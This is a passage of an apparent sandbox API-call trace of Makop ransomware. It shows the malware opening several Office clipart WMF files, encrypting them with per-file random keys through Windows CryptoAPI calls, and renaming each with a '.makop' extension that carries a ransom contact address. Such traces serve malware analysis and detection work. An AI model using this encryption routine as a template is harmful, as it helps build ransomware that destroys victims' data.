lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0139.561] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF") returned 63 [0139.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.562] GetProcessHeap () returned 0x48a0000 [0139.562] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.562] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.562] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.562] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.566] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.567] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.567] GetProcessHeap () returned 0x48a0000 [0139.567] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.567] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.567] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.567] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.567] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.567] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.567] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.568] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.568] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.568] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd58, lpOverlapped=0x0) returned 1 [0139.568] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd60, dwBufLen=0xd60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd60) returned 1 [0139.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd60, lpOverlapped=0x0) returned 1 [0139.568] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.569] SetEndOfFile (hFile=0xf0) returned 1 [0139.575] GetProcessHeap () returned 0x48a0000 [0139.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.575] GetProcessHeap () returned 0x48a0000 [0139.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.575] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.577] CloseHandle (hObject=0xf0) returned 1 [0139.577] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0139.577] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF") returned 63 [0139.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.578] GetProcessHeap () returned 0x48a0000 [0139.578] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.579] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.579] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.579] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.579] GetProcessHeap () returned 0x48a0000 [0139.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.579] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.579] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.579] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.583] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.583] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.583] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.584] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.584] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.584] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.584] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.584] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.584] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3210, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3210, lpOverlapped=0x0) returned 1 [0139.699] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3210, dwBufLen=0x3210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3210) returned 1 [0139.699] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.699] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3210, lpOverlapped=0x0) returned 1 [0139.700] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.700] SetEndOfFile (hFile=0xf0) returned 1 [0139.709] GetProcessHeap () returned 0x48a0000 [0139.709] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.709] GetProcessHeap () returned 0x48a0000 [0139.709] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.710] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.712] CloseHandle (hObject=0xf0) returned 1 [0139.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0139.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 63 [0139.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.714] GetProcessHeap () returned 0x48a0000 [0139.714] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.714] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0139.718] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.718] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.718] GetProcessHeap () returned 0x48a0000 [0139.718] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.718] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.718] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.719] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.719] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.719] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.720] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.720] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.720] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c46, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c46, lpOverlapped=0x0) returned 1 [0139.722] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50) returned 1 [0139.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c50, lpOverlapped=0x0) returned 1 [0139.723] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.723] SetEndOfFile (hFile=0xf0) returned 1 [0139.730] GetProcessHeap () returned 0x48a0000 [0139.730] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.730] GetProcessHeap () returned 0x48a0000 [0139.730] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.730] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.732] CloseHandle (hObject=0xf0) returned 1 [0139.732] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0139.733] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF") returned 63 [0139.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.735] GetProcessHeap () returned 0x48a0000 [0139.735] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.735] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.735] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.740] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.740] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.740] GetProcessHeap () returned 0x48a0000 [0139.740] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.740] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.740] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.740] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.740] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.740] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.740] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.741] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.741] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.741] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.741] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x54a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x54a8, lpOverlapped=0x0) returned 1 [0139.743] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x54b0) returned 1 [0139.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x54b0, lpOverlapped=0x0) returned 1 [0139.744] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.744] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.744] SetEndOfFile (hFile=0xf0) returned 1 [0139.751] GetProcessHeap () returned 0x48a0000 [0139.751] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.751] GetProcessHeap () returned 0x48a0000 [0139.751] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.751] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft 